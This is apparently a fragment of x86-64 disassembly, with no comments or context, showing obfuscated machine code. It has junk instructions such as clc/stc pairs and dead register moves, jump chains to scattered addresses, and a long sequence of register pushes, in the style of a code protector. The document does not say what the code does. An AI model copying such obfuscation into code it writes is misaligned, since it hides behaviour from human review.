xor eax, r10d
clc
neg eax
clc
sub eax, 0x3fbe502d
jmp 0x140840070
push r10
shr r10b, 0x41
sar r10w, cl
xor dword [rsp], eax
pop r10
movsxd rax, eax
stc
add r11, rax
jmp 0x14086944a
push r12
jmp 0x1408d7770
push r10
push r11
push rbp
xchg r11b, r10b
mov r10w, r14w
movzx r11d, sp
push r15
movzx r11d, si
movzx r10w, bpl
push r8
bswap r8
movsx r10d, r10w
push rbx
movzx ebx, dx
cmovge bx, bp
movsxd rbx, ebx
push rdi
cmovge r10w, r13w
push r14
cmovno bx, r15w
push rdx
movsxd r10, ebp
cdq
movzx r11, bp
push r13
xchg r11b, bl
seto r10b
not r10b
push rsi
jmp 0x140874f89
dec eax
jmp 0x140893015